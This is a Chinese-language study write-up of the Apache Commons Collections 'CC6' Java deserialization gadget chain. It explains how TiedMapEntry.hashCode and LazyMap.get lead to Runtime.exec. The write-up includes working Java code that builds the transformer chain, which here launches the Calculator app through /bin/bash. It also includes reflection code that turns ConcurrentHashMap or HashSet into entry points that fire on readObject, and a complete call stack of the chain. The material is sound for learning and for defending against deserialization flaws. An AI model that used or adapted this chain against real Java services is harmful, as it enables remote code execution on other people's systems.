[CC链反序列化学习]TiedMapEntry利用链

DEBUG

IDea debug 环境做个配置,要不会跑飞很迷

image-20200608172013246

TiedMapEntry.hashcode


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class TiedMapEntryExec {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String[].class },new Object[]{new String[]{
                        "/bin/bash","-c","open /System/Applications/Calculator.app"
                }})
        };
        Transformer tchain = new ChainedTransformer(transformers);
        Map normalMap = new HashMap();
        Map lazyMap = LazyMap.decorate(normalMap,tchain);
        TiedMapEntry tme = new TiedMapEntry(lazyMap,null);
        tme.hashCode();
    }
}

cc6前半段利用LazyMap.get调用Transform方法触发反序列化。后半段利用TiedMapEntry.hashCode()调用getValue方法

image-20200608172330455

为什么这里key可以是null或者任意值,

i=0调用需要返回Runtime.class,

image-20200608174956793

这里利用了new ConstantTransformer(Runtime.class)直接在调用transform返回iConstant,该值在实例化ConstantTransformer就进行了赋值,所以当i=0与Object值无关及与key值无关

image-20200608175118524

ConcurrenHashMap跳板构造

现在需要找到跳板,该跳板必须重写了readObject方法,且最后能够执行TiedEntryExec.hashCode()

简化调用栈如下

ObjectInputStream.readObject
  ConcurrentHashMap.readObject
    TiedMapEntry.hashCode   // 此处开始TiedMapEntry利用链
      TiedMapEntry.getValue
        LazyMap.get         // 此处开始LazyMap利用链

跟进java.util.concurrent.ConcurrentHashMap.readObject(),在第1447调用hashCode,这里需要构造k为TiedMapEntry,才能触发利用链.

image-20200609004555963

K、V值由Node存储,发现putVal方法中实现对类参数table的赋值,可以通过反射构造K、V值。注意这里K不能直接构造为TiedMapEntry,会直接调用LazyMap.get()

image-20200609143104948

ConcurrenHashMap构造如下

ConcurrentHashMap chm = new ConcurrentHashMap(1);
        chm.put("key","value");
        Field f = ConcurrentHashMap.class.getDeclaredField("table");
        f.setAccessible(true);
				//反射获取ConcurrentHashMap.table参数,反射设置key值为tme
        Object[] table = (Object[])f.get(chm);
        Object node = table[0];

        Field k = node.getClass().getDeclaredField("key");
        k.setAccessible(true);
        k.set(node,tme);

HashSet跳板构造

跟进HashSet.readObject,put方法只要控制e参数和map参数,就能调用TideMapEntry.HashCode()

image-20200609152733244

实际构造和ConcurrenHashMap类似,只不过这里需要对map值进行反射设置

HashSet hashSet = new HashSet(1);
//直接add(tme)会执行TiedMapEntry.hashcode
//这里占个位,通过反射修改key
hashSet.add("anything");
Field setMap = hashSet.getClass().getDeclaredField("map");
setMap.setAccessible(true);
HashMap hashMap = (HashMap) setMap.get(hashSet);
Field setTable = hashMap.getClass().getDeclaredField("table");
setTable.setAccessible(true);
Object[] table = (Object[]) setTable.get(hashMap);
Object Node = table[1];
Field setKey = Node.getClass().getDeclaredField("key");
setKey.setAccessible(true);
setKey.set(Node,tme);

调用栈

Gadget chain:
    java.io.ObjectInputStream.readObject()
           java.util.HashSet.readObject()
               java.util.HashMap.put()
               java.util.HashMap.hash()
                   org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                   org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                       org.apache.commons.collections.map.LazyMap.get()
                           org.apache.commons.collections.functors.ChainedTransformer.transform()
                           org.apache.commons.collections.functors.InvokerTransformer.transform()
                           java.lang.reflect.Method.invoke()
                               java.lang.Runtime.exec()

参考链接

https://www.anquanke.com/post/id/190468#h3-8

http://scz.617.cn:8/network/202003241127.txt

https://www.iteye.com/blog/bluepopopo-486548

https://xz.aliyun.com/t/7029